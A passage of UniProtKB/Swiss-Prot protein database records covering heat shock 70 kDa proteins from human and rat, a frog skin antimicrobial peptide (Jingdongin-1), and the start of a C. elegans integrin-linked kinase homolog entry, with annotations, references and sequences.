DR GO; GO:0072562; C:blood microparticle; IDA:UniProtKB.
DR GO; GO:0005913; C:cell-cell adherens junction; IDA:BHF-UCL.
DR GO; GO:0005814; C:centriole; IDA:UniProtKB.
DR GO; GO:0005737; C:cytoplasm; IDA:UniProtKB.
DR GO; GO:0005829; C:cytosol; IDA:UniProtKB.
DR GO; GO:0005925; C:focal adhesion; IDA:UniProtKB.
DR GO; GO:0016234; C:inclusion body; IDA:BHF-UCL.
DR GO; GO:0005739; C:mitochondrion; IEA:GOC.
DR GO; GO:0005654; C:nucleoplasm; TAS:Reactome.
DR GO; GO:0048471; C:perinuclear region of cytoplasm; IDA:BHF-UCL.
DR GO; GO:0005524; F:ATP binding; IDA:BHF-UCL.
DR GO; GO:0016887; F:ATPase activity; IDA:BHF-UCL.
DR GO; GO:0042623; F:ATPase activity, coupled; IDA:UniProtKB.
DR GO; GO:0055131; F:C3HC4-type RING finger domain binding; IPI:BHF-UCL.
DR GO; GO:0098641; F:cadherin binding involved in cell-cell adhesion; IDA:BHF-UCL.
DR GO; GO:0019899; F:enzyme binding; IPI:BHF-UCL.
DR GO; GO:0001664; F:G-protein coupled receptor binding; IDA:ParkinsonsUK-UCL.
DR GO; GO:0031072; F:heat shock protein binding; IPI:UniProtKB.
DR GO; GO:0042826; F:histone deacetylase binding; IPI:BHF-UCL.
DR GO; GO:0044183; F:protein binding involved in protein folding; IDA:BHF-UCL.
DR GO; GO:0005102; F:receptor binding; IPI:UniProtKB.
DR GO; GO:0031625; F:ubiquitin protein ligase binding; IPI:ParkinsonsUK-UCL.
DR GO; GO:0051082; F:unfolded protein binding; IDA:UniProtKB.
DR GO; GO:0001618; F:virus receptor activity; IEA:UniProtKB-KW.
DR GO; GO:0046034; P:ATP metabolic process; IDA:BHF-UCL.
DR GO; GO:0070370; P:cellular heat acclimation; IMP:UniProtKB.
DR GO; GO:0034605; P:cellular response to heat; IDA:UniProtKB.
DR GO; GO:0034599; P:cellular response to oxidative stress; TAS:ParkinsonsUK-UCL.
DR GO; GO:0006281; P:DNA repair; IEA:Ensembl.
DR GO; GO:0060548; P:negative regulation of cell death; IMP:UniProtKB.
DR GO; GO:1902236; P:negative regulation of endoplasmic reticulum stress-induced intrinsic apoptotic signaling pathway; IDA:ParkinsonsUK-UCL.
DR GO; GO:2001240; P:negative regulation of extrinsic apoptotic signaling pathway in absence of ligand; IMP:BHF-UCL.
DR GO; GO:0090084; P:negative regulation of inclusion body assembly; IDA:UniProtKB.
DR GO; GO:1901029; P:negative regulation of mitochondrial outer membrane permeabilization involved in apoptotic signaling pathway; IDA:ParkinsonsUK-UCL.
DR GO; GO:0031397; P:negative regulation of protein ubiquitination; IDA:ParkinsonsUK-UCL.
DR GO; GO:1902380; P:positive regulation of endoribonuclease activity; IDA:ParkinsonsUK-UCL.
DR GO; GO:0010628; P:positive regulation of gene expression; IMP:BHF-UCL.
DR GO; GO:0032757; P:positive regulation of interleukin-8 production; IMP:UniProtKB.
DR GO; GO:1904722; P:positive regulation of mRNA endonucleolytic cleavage involved in unfolded protein response; IDA:ParkinsonsUK-UCL.
DR GO; GO:0051092; P:positive regulation of NF-kappaB transcription factor activity; IMP:UniProtKB.
DR GO; GO:0070434; P:positive regulation of nucleotide-binding oligomerization domain containing 2 signaling pathway; IMP:UniProtKB.
DR GO; GO:1903265; P:positive regulation of tumor necrosis factor-mediated signaling pathway; IMP:UniProtKB.
DR GO; GO:0042026; P:protein refolding; IDA:UniProtKB.
DR GO; GO:0050821; P:protein stabilization; IMP:UniProtKB.
DR GO; GO:1900034; P:regulation of cellular response to heat; TAS:Reactome.
DR GO; GO:0043488; P:regulation of mRNA stability; TAS:Reactome.
DR GO; GO:0031396; P:regulation of protein ubiquitination; IDA:BHF-UCL.
DR GO; GO:0000723; P:telomere maintenance; IEA:Ensembl.
DR Gene3D; 1.20.1270.10; -; 1.
DR Gene3D; 2.60.34.10; -; 1.
DR InterPro; IPR018181; Heat_shock_70_CS.
DR InterPro; IPR029048; HSP70_C.
DR InterPro; IPR029047; HSP70_peptide-bd.
DR InterPro; IPR013126; Hsp_70_fam.
DR Pfam; PF00012; HSP70; 1.
DR PRINTS; PR00301; HEATSHOCK70.
DR SUPFAM; SSF100920; SSF100920; 1.
DR SUPFAM; SSF100934; SSF100934; 1.
DR PROSITE; PS00297; HSP70_1; 1.
DR PROSITE; PS00329; HSP70_2; 1.
DR PROSITE; PS01036; HSP70_3; 1.
PE 1: Evidence at protein level;
KW 3D-structure; Acetylation; Alternative splicing; ATP-binding;
KW Chaperone; Complete proteome; Cytoplasm; Direct protein sequencing;
KW Host cell receptor for virus entry; Methylation; Nucleotide-binding;
KW Phosphoprotein; Polymorphism; Receptor; Reference proteome;
KW Stress response.
FT INIT_MET 1 1 Removed. {ECO:0000244|PubMed:19413330}.
FT CHAIN 2 641 Heat shock 70 kDa protein 1A.
FT /FTId=PRO_0000078249.
FT NP_BIND 12 15 ATP.
FT NP_BIND 202 204 ATP.
FT NP_BIND 268 275 ATP.
FT NP_BIND 339 342 ATP.
FT BINDING 71 71 ATP.
FT MOD_RES 2 2 N-acetylalanine.
FT {ECO:0000244|PubMed:19413330}.
FT MOD_RES 108 108 N6-acetyllysine.
FT {ECO:0000244|PubMed:19608861}.
FT MOD_RES 246 246 N6-acetyllysine.
FT {ECO:0000244|PubMed:19608861}.
FT MOD_RES 348 348 N6-acetyllysine.
FT {ECO:0000244|PubMed:19608861}.
FT MOD_RES 561 561 N6,N6,N6-trimethyllysine; by METTL21A.
FT {ECO:0000269|PubMed:23349634,
FT ECO:0000269|PubMed:23921388}.
FT MOD_RES 631 631 Phosphoserine.
FT {ECO:0000244|PubMed:20068231}.
FT MOD_RES 633 633 Phosphoserine.
FT {ECO:0000244|PubMed:20068231}.
FT MOD_RES 636 636 Phosphothreonine.
FT {ECO:0000244|PubMed:20068231}.
FT VAR_SEQ 96 150 Missing (in isoform 2).
FT {ECO:0000303|PubMed:14702039}.
FT /FTId=VSP_044427.
FT VARIANT 110 110 E -> D (in dbSNP:rs562047).
FT {ECO:0000269|PubMed:14656967,
FT ECO:0000269|Ref.6}.
FT /FTId=VAR_029053.
FT MUTAGEN 10 10 D->A: Reduces affinity for ADP.
FT {ECO:0000269|PubMed:21608060}.
FT MUTAGEN 199 199 D->A: Reduces affinity for ADP.
FT {ECO:0000269|PubMed:21608060}.
FT MUTAGEN 561 561 K->R: Complete loss of in vitro
FT methylation by METTL21A.
FT {ECO:0000269|PubMed:23349634,
FT ECO:0000269|PubMed:23921388}.
FT CONFLICT 7 7 I -> V (in Ref. 1; AAA52697 and 10;
FT CAA28381). {ECO:0000305}.
FT CONFLICT 355 355 N -> D (in Ref. 5; BAG65428).
FT {ECO:0000305}.
FT CONFLICT 370 370 A -> G (in Ref. 1; AAA52697).
FT {ECO:0000305}.
FT CONFLICT 469 469 Missing (in Ref. 1; AAA52697).
FT {ECO:0000305}.
FT CONFLICT 497 497 K -> N (in Ref. 5; BAG65428).
FT {ECO:0000305}.
FT STRAND 7 10 {ECO:0000244|PDB:3ATV}.
FT STRAND 13 22 {ECO:0000244|PDB:3ATV}.
FT STRAND 25 28 {ECO:0000244|PDB:3ATV}.
FT STRAND 36 39 {ECO:0000244|PDB:3ATV}.
FT STRAND 42 44 {ECO:0000244|PDB:3ATV}.
FT STRAND 49 51 {ECO:0000244|PDB:3ATV}.
FT HELIX 53 56 {ECO:0000244|PDB:3ATV}.
FT TURN 57 61 {ECO:0000244|PDB:3ATV}.
FT HELIX 63 65 {ECO:0000244|PDB:3ATV}.
FT HELIX 70 73 {ECO:0000244|PDB:3ATV}.
FT HELIX 81 87 {ECO:0000244|PDB:3ATV}.
FT STRAND 91 97 {ECO:0000244|PDB:3ATV}.
FT STRAND 100 107 {ECO:0000244|PDB:3ATV}.
FT STRAND 110 114 {ECO:0000244|PDB:3ATV}.
FT HELIX 116 135 {ECO:0000244|PDB:3ATV}.
FT STRAND 141 146 {ECO:0000244|PDB:3ATV}.
FT HELIX 152 164 {ECO:0000244|PDB:3ATV}.
FT STRAND 168 174 {ECO:0000244|PDB:3ATV}.
FT HELIX 175 182 {ECO:0000244|PDB:3ATV}.
FT TURN 183 186 {ECO:0000244|PDB:3ATV}.
FT STRAND 190 200 {ECO:0000244|PDB:3ATV}.
FT STRAND 205 213 {ECO:0000244|PDB:3ATV}.
FT STRAND 216 225 {ECO:0000244|PDB:3ATV}.
FT HELIX 226 228 {ECO:0000244|PDB:2E88}.
FT HELIX 230 249 {ECO:0000244|PDB:3ATV}.
FT HELIX 253 255 {ECO:0000244|PDB:2E88}.
FT HELIX 257 273 {ECO:0000244|PDB:3ATV}.
FT TURN 274 276 {ECO:0000244|PDB:3ATV}.
FT STRAND 277 288 {ECO:0000244|PDB:3ATV}.
FT STRAND 291 298 {ECO:0000244|PDB:3ATV}.
FT HELIX 299 305 {ECO:0000244|PDB:3ATV}.
FT HELIX 307 311 {ECO:0000244|PDB:3ATV}.
FT HELIX 314 323 {ECO:0000244|PDB:3ATV}.
FT HELIX 328 330 {ECO:0000244|PDB:3ATV}.
FT STRAND 333 338 {ECO:0000244|PDB:3ATV}.
FT HELIX 339 342 {ECO:0000244|PDB:3ATV}.
FT HELIX 344 353 {ECO:0000244|PDB:3ATV}.
FT TURN 354 356 {ECO:0000244|PDB:3ATV}.
FT TURN 365 367 {ECO:0000244|PDB:3ATV}.
FT HELIX 368 381 {ECO:0000244|PDB:3ATV}.
FT HELIX 384 386 {ECO:0000244|PDB:4J8F}.
FT HELIX 390 393 {ECO:0000244|PDB:4PO2}.
FT STRAND 394 396 {ECO:0000244|PDB:4PO2}.
FT STRAND 401 405 {ECO:0000244|PDB:4PO2}.
FT TURN 406 408 {ECO:0000244|PDB:4PO2}.
FT STRAND 409 414 {ECO:0000244|PDB:4PO2}.
FT STRAND 419 432 {ECO:0000244|PDB:4PO2}.
FT STRAND 438 449 {ECO:0000244|PDB:4PO2}.
FT HELIX 450 452 {ECO:0000244|PDB:4PO2}.
FT STRAND 453 461 {ECO:0000244|PDB:4PO2}.
FT STRAND 474 480 {ECO:0000244|PDB:4PO2}.
FT STRAND 486 492 {ECO:0000244|PDB:4PO2}.
FT TURN 493 495 {ECO:0000244|PDB:4PO2}.
FT STRAND 498 503 {ECO:0000244|PDB:4PO2}.
FT HELIX 506 508 {ECO:0000244|PDB:4PO2}.
FT HELIX 512 524 {ECO:0000244|PDB:4PO2}.
FT HELIX 526 554 {ECO:0000244|PDB:4PO2}.
FT HELIX 556 558 {ECO:0000244|PDB:4PO2}.
FT HELIX 564 583 {ECO:0000244|PDB:4PO2}.
FT HELIX 589 608 {ECO:0000244|PDB:4PO2}.
FT HELIX 609 611 {ECO:0000244|PDB:4PO2}.
SQ SEQUENCE 641 AA; 70052 MW; 78F513118C96DE66 CRC64;
MAKAAAIGID LGTTYSCVGV FQHGKVEIIA NDQGNRTTPS YVAFTDTERL IGDAAKNQVA
LNPQNTVFDA KRLIGRKFGD PVVQSDMKHW PFQVINDGDK PKVQVSYKGE TKAFYPEEIS
SMVLTKMKEI AEAYLGYPVT NAVITVPAYF NDSQRQATKD AGVIAGLNVL RIINEPTAAA
IAYGLDRTGK GERNVLIFDL GGGTFDVSIL TIDDGIFEVK ATAGDTHLGG EDFDNRLVNH
FVEEFKRKHK KDISQNKRAV RRLRTACERA KRTLSSSTQA SLEIDSLFEG IDFYTSITRA
RFEELCSDLF RSTLEPVEKA LRDAKLDKAQ IHDLVLVGGS TRIPKVQKLL QDFFNGRDLN
KSINPDEAVA YGAAVQAAIL MGDKSENVQD LLLLDVAPLS LGLETAGGVM TALIKRNSTI
PTKQTQIFTT YSDNQPGVLI QVYEGERAMT KDNNLLGRFE LSGIPPAPRG VPQIEVTFDI
DANGILNVTA TDKSTGKANK ITITNDKGRL SKEEIERMVQ EAEKYKAEDE VQRERVSAKN
ALESYAFNMK SAVEDEGLKG KISEADKKKV LDKCQEVISW LDANTLAEKD EFEHKRKELE
QVCNPIISGL YQGAGGPGPG GFGAQGPKGG SGSGPTIEEV D
//
ID HS71B_RAT Reviewed; 641 AA.
AC P0DMW1; P42853; Q07439; Q63256;
DT 27-MAY-2015, integrated into UniProtKB/Swiss-Prot.
DT 27-MAY-2015, sequence version 1.
DT 07-SEP-2016, entry version 14.
DE RecName: Full=Heat shock 70 kDa protein 1B;
DE AltName: Full=Heat shock 70 kDa protein 1;
DE Short=HSP70-1;
DE Short=HSP70.1;
GN Name=Hspa1b; Synonyms=Hsp70-2, Hspa2;
OS Rattus norvegicus (Rat).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Glires; Rodentia; Sciurognathi;
OC Muroidea; Muridae; Murinae; Rattus.
OX NCBI_TaxID=10116;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA].
RC TISSUE=Brain;
RX PubMed=8271311; DOI=10.1002/jnr.490360310;
RA Longo F.M., Wang S., Narasimhan P., Zhang J.S., Chen J., Massa S.M.,
RA Sharp F.R.;
RT "cDNA cloning and expression of stress-inducible rat hsp70 in normal
RT and injured rat brain.";
RL J. Neurosci. Res. 36:325-335(1993).
RN [2]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA].
RC STRAIN=Sprague-Dawley; TISSUE=Liver;
RX PubMed=8086479; DOI=10.1016/0167-4781(94)90247-X;
RA Lisowska K., Krawczyk Z., Widlak W., Wolniczek P., Wisniewski J.;
RT "Cloning, nucleotide sequence and expression of rat heat inducible
RT hsp70 gene.";
RL Biochim. Biophys. Acta 1219:64-72(1994).
RN [3]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA].
RC STRAIN=Wistar; TISSUE=Spleen;
RX PubMed=8141767; DOI=10.1042/bj2980561;
RA Mestril R., Chi S.H., Sayen M.R., Dillmann W.H.;
RT "Isolation of a novel inducible rat heat shock protein (HSP70) gene
RT and its expression during ischaemia/hypoxia and heat shock.";
RL Biochem. J. 298:561-569(1994).
RN [4]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA].
RC STRAIN=LEW.1W/GUN;
RX PubMed=7927536; DOI=10.1007/BF01246673;
RA Walter L., Rauh F., Guenther E.;
RT "Comparative analysis of the three major histocompatibility complex-
RT linked heat shock protein 70 (Hsp70) genes of the rat.";
RL Immunogenetics 40:325-330(1994).
RN [5]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=Brown Norway;
RX PubMed=15060004; DOI=10.1101/gr.1987704;
RA Hurt P., Walter L., Sudbrak R., Klages S., Mueller I., Shiina T.,
RA Inoko H., Lehrach H., Guenther E., Reinhardt R., Himmelbauer H.;
RT "The genomic sequence and comparative analysis of the rat major
RT histocompatibility complex.";
RL Genome Res. 14:631-639(2004).
CC -!- FUNCTION: In cooperation with other chaperones, Hsp70s stabilize
CC preexistent proteins against aggregation and mediate the folding
CC of newly translated polypeptides in the cytosol as well as within
CC organelles. These chaperones participate in all these processes
CC through their ability to recognize nonnative conformations of
CC other proteins. They bind extended peptide segments with a net
CC hydrophobic character exposed by polypeptides during translation
CC and membrane translocation, or following stress-induced damage.
CC Essential for STUB1-mediated ubiquitination and degradation of
CC FOXP3 in regulatory T-cells (Treg) during inflammation.
CC {ECO:0000250|UniProtKB:P08107}.
CC -!- SUBUNIT: Component of the CatSper complex. Identified in a
CC IGF2BP1-dependent mRNP granule complex containing untranslated
CC mRNAs. Interacts with CHCHD3, DNAJC7, IRAK1BP1, PPP5C and TSC2.
CC Interacts with TERT; the interaction occurs in the absence of the
CC RNA component, TERC, and dissociates once the TERT complex has
CC formed. Interacts with METTL21A. Interacts with TRIM5 (via
CC B30.2/SPRY domain). Interacts with PARK2. Interacts with FOXP3.
CC Interacts with NOD2; the interaction enhances NOD2 stability.
CC Interacts with DNAJC9 (via J domain). Interacts with ATF5; the
CC interaction protects ATF5 from degradation via proteasome-
CC dependent and caspase-dependent processes (By similarity).
CC {ECO:0000250|UniProtKB:P08107, ECO:0000250|UniProtKB:P0DMV9}.
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000250}. Note=Localized in
CC cytoplasmic mRNP granules containing untranslated mRNAs.
CC {ECO:0000250}.
CC -!- TISSUE SPECIFICITY: HSPA1B is testis-specific.
CC -!- INDUCTION: By heat shock.
CC -!- SIMILARITY: Belongs to the heat shock protein 70 family.
CC {ECO:0000305}.
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DR EMBL; L16764; AAA17441.1; -; mRNA.
DR EMBL; X74271; CAA52328.1; -; Genomic_DNA.
DR EMBL; X75357; CAA53140.1; -; Genomic_DNA.
DR EMBL; X77207; CAA54422.1; -; Genomic_DNA.
DR EMBL; BX883045; CAE83977.1; -; Genomic_DNA.
DR PIR; I54542; I54542.
DR RefSeq; NP_114177.2; NM_031971.2.
DR RefSeq; NP_997669.1; NM_212504.1.
DR UniGene; Rn.1950; -.
DR UniGene; Rn.228581; -.
DR ProteinModelPortal; P0DMW1; -.
DR SMR; P0DMW1; 1-619.
DR MINT; MINT-240978; -.
DR Ensembl; ENSRNOT00000049667; ENSRNOP00000050605; ENSRNOG00000045654.
DR Ensembl; ENSRNOT00000061950; ENSRNOP00000067749; ENSRNOG00000045654.
DR Ensembl; ENSRNOT00000081924; ENSRNOP00000075599; ENSRNOG00000050647.
DR GeneID; 24472; -.
DR GeneID; 294254; -.
DR KEGG; rno:24472; -.
DR KEGG; rno:294254; -.
DR CTD; 3303; -.
DR CTD; 3304; -.
DR RGD; 2840; Hspa1b.
DR GeneTree; ENSGT00840000130142; -.
DR GeneTree; ENSGT00840000130709; -.
DR HOGENOM; HOG000228135; -.
DR HOVERGEN; HBG051845; -.
DR KO; K03283; -.
DR PhylomeDB; P0DMW1; -.
DR Reactome; R-RNO-3371453; Regulation of HSF1-mediated heat shock response.
DR Reactome; R-RNO-3371568; Attenuation phase.
DR Reactome; R-RNO-3371571; HSF1-dependent transactivation.
DR Reactome; R-RNO-450408; AUF1 (hnRNP D0) binds and destabilizes mRNA.
DR PRO; PR:P0DMW1; -.
DR Proteomes; UP000002494; Chromosome 20.
DR ExpressionAtlas; P0DMW1; baseline and differential.
DR GO; GO:0016324; C:apical plasma membrane; IDA:RGD.
DR GO; GO:0016323; C:basolateral plasma membrane; IDA:RGD.
DR GO; GO:0005829; C:cytosol; IDA:RGD.
DR GO; GO:0005634; C:nucleus; IDA:RGD.
DR GO; GO:0043234; C:protein complex; IDA:RGD.
DR GO; GO:0005524; F:ATP binding; IEA:UniProtKB-KW.
DR GO; GO:0051059; F:NF-kappaB binding; IPI:RGD.
DR GO; GO:0002020; F:protease binding; IPI:RGD.
DR GO; GO:0006952; P:defense response; IDA:RGD.
DR GO; GO:0043066; P:negative regulation of apoptotic process; IDA:RGD.
DR GO; GO:0043154; P:negative regulation of cysteine-type endopeptidase activity involved in apoptotic process; IDA:RGD.
DR GO; GO:0045906; P:negative regulation of vasoconstriction; IMP:RGD.
DR GO; GO:0001916; P:positive regulation of T cell mediated cytotoxicity; IDA:RGD.
DR GO; GO:0006986; P:response to unfolded protein; IMP:RGD.
DR Gene3D; 1.20.1270.10; -; 1.
DR Gene3D; 2.60.34.10; -; 1.
DR InterPro; IPR018181; Heat_shock_70_CS.
DR InterPro; IPR029048; HSP70_C.
DR InterPro; IPR029047; HSP70_peptide-bd.
DR InterPro; IPR013126; Hsp_70_fam.
DR Pfam; PF00012; HSP70; 1.
DR PRINTS; PR00301; HEATSHOCK70.
DR SUPFAM; SSF100920; SSF100920; 1.
DR SUPFAM; SSF100934; SSF100934; 1.
DR PROSITE; PS00297; HSP70_1; 1.
DR PROSITE; PS00329; HSP70_2; 1.
DR PROSITE; PS01036; HSP70_3; 1.
PE 2: Evidence at transcript level;
KW Acetylation; ATP-binding; Chaperone; Complete proteome; Cytoplasm;
KW Methylation; Nucleotide-binding; Phosphoprotein; Reference proteome;
KW Stress response.
FT INIT_MET 1 1 Removed. {ECO:0000250|UniProtKB:P0DMV9}.
FT CHAIN 2 641 Heat shock 70 kDa protein 1B.
FT /FTId=PRO_0000433116.
FT NP_BIND 12 15 ATP. {ECO:0000250}.
FT NP_BIND 202 204 ATP. {ECO:0000250}.
FT NP_BIND 268 275 ATP. {ECO:0000250}.
FT NP_BIND 339 342 ATP. {ECO:0000250}.
FT BINDING 71 71 ATP. {ECO:0000250}.
FT MOD_RES 2 2 N-acetylalanine.
FT {ECO:0000250|UniProtKB:P0DMV9}.
FT MOD_RES 108 108 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV9}.
FT MOD_RES 246 246 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV9}.
FT MOD_RES 348 348 N6-acetyllysine.
FT {ECO:0000250|UniProtKB:P0DMV9}.
FT MOD_RES 561 561 N6,N6,N6-trimethyllysine; by METTL21A.
FT {ECO:0000250}.
FT MOD_RES 631 631 Phosphoserine.
FT {ECO:0000250|UniProtKB:P0DMV9}.
FT MOD_RES 633 633 Phosphoserine.
FT {ECO:0000250|UniProtKB:P0DMV9}.
FT MOD_RES 636 636 Phosphothreonine.
FT {ECO:0000250|UniProtKB:P0DMV9}.
FT CONFLICT 71 72 KR -> NG (in Ref. 2; CAA52328 and 3;
FT CAA53140). {ECO:0000305}.
FT CONFLICT 110 110 E -> K (in Ref. 3; CAA53140).
FT {ECO:0000305}.
FT CONFLICT 204 204 T -> R (in Ref. 3; CAA53140).
FT {ECO:0000305}.
FT CONFLICT 227 227 H -> D (in Ref. 1; AAA17441).
FT {ECO:0000305}.
FT CONFLICT 262 267 RLRTAC -> PLADGV (in Ref. 3; CAA53140).
FT {ECO:0000305}.
FT CONFLICT 408 408 G -> A (in Ref. 2; CAA52328).
FT {ECO:0000305}.
SQ SEQUENCE 641 AA; 70185 MW; 2D745B1013F64E7B CRC64;
MAKKTAIGID LGTTYSCVGV FQHGKVEIIA NDQGNRTTPS YVAFTDTERL IGDAAKNQVA
LNPQNTVFDA KRLIGRKFGD PVVQSDMKHW PFQVVNDGDK PKVQVNYKGE NRSFYPEEIS
SMVLTKMKEI AEAYLGHPVT NAVITVPAYF NDSQRQATKD AGVIAGLNVL RIINEPTAAA
IAYGLDRTGK GERNVLIFDL GGGTFDVSIL TIDDGIFEVK ATAGDTHLGG EDFDNRLVSH
FVEEFKRKHK KDISQNKRAV RRLRTACERA KRTLSSSTQA SLEIDSLFEG IDFYTSITRA
RFEELCSDLF RGTLEPVEKA LRDAKLDKAQ IHDLVLVGGS TRIPKVQKLL QDFFNGRDLN
KSINPDEAVA YGAAVQAAIL MGDKSENVQD LLLLDVAPLS LGLETAGGVM TALIKRNSTI
PTKQTQTFTT YSDNQPGVLI QVYEGERAMT RDNNLLGRFE LSGIPPAPRG VPQIEVTFDI
DANGILNVTA TDKSTGKANK ITITNDKGRL SKEEIERMVQ EAERYKAEDE VQRERVAAKN
ALESYAFNMK SAVEDEGLKG KISEADKKKV LDKCQEVISW LDSNTLAEKE EFVHKREELE
RVCNPIISGL YQGAGAPGAG GFGAQAPKGG SGSGPTIEEV D
//
ID JD1_AMOJI Reviewed; 63 AA.
AC K7ZGS2;
DT 22-JUL-2015, integrated into UniProtKB/Swiss-Prot.
DT 06-FEB-2013, sequence version 1.
DT 13-APR-2016, entry version 13.
DE RecName: Full=Jingdongin-1 {ECO:0000303|PubMed:22828809};
DE Flags: Precursor;
OS Amolops jingdongensis (Chinese torrent frog).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Amphibia; Batrachia; Anura; Neobatrachia; Ranoidea; Ranidae; Amolops.
OX NCBI_TaxID=1077530 {ECO:0000312|EMBL:AFY06638.1};
RN [1] {ECO:0000312|EMBL:AFY06638.1}
RP NUCLEOTIDE SEQUENCE [MRNA], PROTEIN SEQUENCE OF 47-63, FUNCTION,
RP SUBCELLULAR LOCATION, AND MASS SPECTROMETRY.
RC TISSUE=Skin {ECO:0000303|PubMed:22828809}, and
RC Skin secretion {ECO:0000303|PubMed:22828809};
RX PubMed=22828809; DOI=10.1007/s00726-012-1358-z;
RA He X., Yang S., Wei L., Liu R., Lai R., Rong M.;
RT "Antimicrobial peptide diversity in the skin of the torrent frog,
RT Amolops jingdongensis.";
RL Amino Acids 44:481-487(2013).
CC -!- FUNCTION: The synthetic peptide has antimicrobial activity against
CC Gram-negative bacterium B.dysenteriae (MIC=35 ug/ml), against
CC Gram-positive bacteria S.aureus ATCC 2592 (MIC=4.7 ug/ml) and
CC B.subtilis ATCC 6633 (MIC=9.38 ug/ml) and against fungus
CC C.albicans (MIC=18.75 ug/ml). Has no activity against Gram-
CC negative bacterium E.coli ATCC 25922 but exhibits low hemolytic
CC activity at concentrations up to 200 ug/ml.
CC {ECO:0000269|PubMed:22828809}.
CC -!- SUBCELLULAR LOCATION: Secreted {ECO:0000269|PubMed:22828809}.
CC -!- TISSUE SPECIFICITY: Expressed by the skin glands.
CC {ECO:0000305|PubMed:22828809}.
CC -!- MASS SPECTROMETRY: Mass=1974.6; Method=MALDI; Range=47-63;
CC Evidence={ECO:0000269|PubMed:22828809};
CC -!- SIMILARITY: Belongs to the frog skin active peptide (FSAP) family.
CC Brevinin subfamily. {ECO:0000305}.
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DR EMBL; JQ681300; AFY06638.1; -; mRNA.
DR TCDB; 1.C.52.1.32; the dermaseptin (dermaseptin) family.
DR GO; GO:0005576; C:extracellular region; IEA:UniProtKB-SubCell.
DR GO; GO:0042742; P:defense response to bacterium; IEA:UniProtKB-KW.
DR GO; GO:0050832; P:defense response to fungus; IEA:UniProtKB-KW.
DR GO; GO:0044179; P:hemolysis in other organism; IEA:UniProtKB-KW.
DR InterPro; IPR004275; Frog_antimicrobial_propeptide.
DR Pfam; PF03032; FSAP_sig_propep; 1.
DR PROSITE; PS00387; PPASE; 1.
PE 1: Evidence at protein level;
KW Amphibian defense peptide; Antibiotic; Antimicrobial;
KW Cleavage on pair of basic residues; Cytolysis;
KW Direct protein sequencing; Disulfide bond; Fungicide; Hemolysis;
KW Secreted; Signal.
FT CHAIN 1 63 Jingdongin-1.
FT /FTId=PRO_0000433604.
FT SIGNAL 1 22 {ECO:0000255}.
FT PROPEP 23 44 {ECO:0000305}.
FT /FTId=PRO_0000433605.
FT PEPTIDE 47 63 Jingdongin-1.
FT {ECO:0000269|PubMed:22828809}.
FT /FTId=PRO_0000433606.
FT DISULFID 57 63 {ECO:0000250|UniProtKB:P32412}.
SQ SEQUENCE 63 AA; 7464 MW; CF9E4E7605A4766E CRC64;
MLTLKKSMLL LFFLGTINLS LCEQERDADE EERRDDDEMD VEVEKRFLPL FLPKIICVIT
KKC
//
ID ILKH_CAEEL Reviewed; 466 AA.
AC Q9TZC4; Q9NG00;
DT 14-OCT-2015, integrated into UniProtKB/Swiss-Prot.
DT 01-MAY-2000, sequence version 1.
DT 07-SEP-2016, entry version 137.
DE RecName: Full=Integrin-linked protein kinase homolog pat-4 {ECO:0000303|PubMed:22761445};
DE Short=ILK homolog {ECO:0000303|PubMed:12015115};
DE AltName: Full=Paralyzed and arrested elongation at two-fold protein 4 {ECO:0000303|PubMed:12015115};
GN Name=pat-4 {ECO:0000312|WormBase:C29F9.7};
GN ORFNames=C29F9.7 {ECO:0000312|WormBase:C29F9.7};
OS Caenorhabditis elegans.
OC Eukaryota; Metazoa; Ecdysozoa; Nematoda; Chromadorea; Rhabditida;
OC Rhabditoidea; Rhabditidae; Peloderinae; Caenorhabditis.
OX NCBI_TaxID=6239 {ECO:0000312|Proteomes:UP000001940};
RN [1] {ECO:0000312|Proteomes:UP000001940}
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=Bristol N2 {ECO:0000312|Proteomes:UP000001940};
RX PubMed=9851916; DOI=10.1126/science.282.5396.2012;
RG The C. elegans sequencing consortium;
RT "Genome sequence of the nematode C. elegans: a platform for
RT investigating biology.";
RL Science 282:2012-2018(1998).
RN [2] {ECO:0000312|EMBL:CAB77052.1}
RP NUCLEOTIDE SEQUENCE [MRNA] OF 18-466.
RX PubMed=10637513; DOI=10.1038/sj.onc.1203258;
RA Lynch D.K., Ellis C.A., Edwards P.A., Hiles I.D.;
RT "Integrin-linked kinase regulates phosphorylation of serine 473 of
RT protein kinase B by an indirect mechanism.";
RL Oncogene 18:8024-8032(1999).
RN [3] {ECO:0000305}
RP FUNCTION, INTERACTION WITH UNC-112 AND UNC-97, SUBCELLULAR LOCATION,
RP TISSUE SPECIFICITY, DEVELOPMENTAL STAGE, DISRUPTION PHENOTYPE, AND
RP MUTAGENESIS OF GLU-374.
RX PubMed=12015115; DOI=10.1016/S0960-9822(02)00810-2;
RA Mackinnon A.C., Qadota H., Norman K.R., Moerman D.G., Williams B.D.;
RT "C. elegans PAT-4/ILK functions as an adaptor protein within integrin
RT adhesion complexes.";
RL Curr. Biol. 12:787-797(2002).
RN [4] {ECO:0000305}
RP INTERACTION WITH PAT-6, SUBCELLULAR LOCATION, AND MUTAGENESIS OF
RP GLU-374.
RX PubMed=12781130; DOI=10.1016/S0960-9822(03)00372-5;
RA Lin X., Qadota H., Moerman D.G., Williams B.D.;
RT "C. elegans PAT-6/actopaxin plays a critical role in the assembly of
RT integrin adhesion complexes in vivo.";
RL Curr. Biol. 13:922-932(2003).
RN [5]
RP FUNCTION, AND DISRUPTION PHENOTYPE.
RX PubMed=16495308; DOI=10.1242/dev.02300;
RA Dixon S.J., Alexander M., Fernandes R., Ricker N., Roy P.J.;
RT "FGF negatively regulates muscle membrane extension in Caenorhabditis
RT elegans.";
RL Development 133:1263-1275(2006).
RN [6]
RP FUNCTION, AND DISRUPTION PHENOTYPE.
RX PubMed=16476426; DOI=10.1016/j.yexcr.2006.01.006;
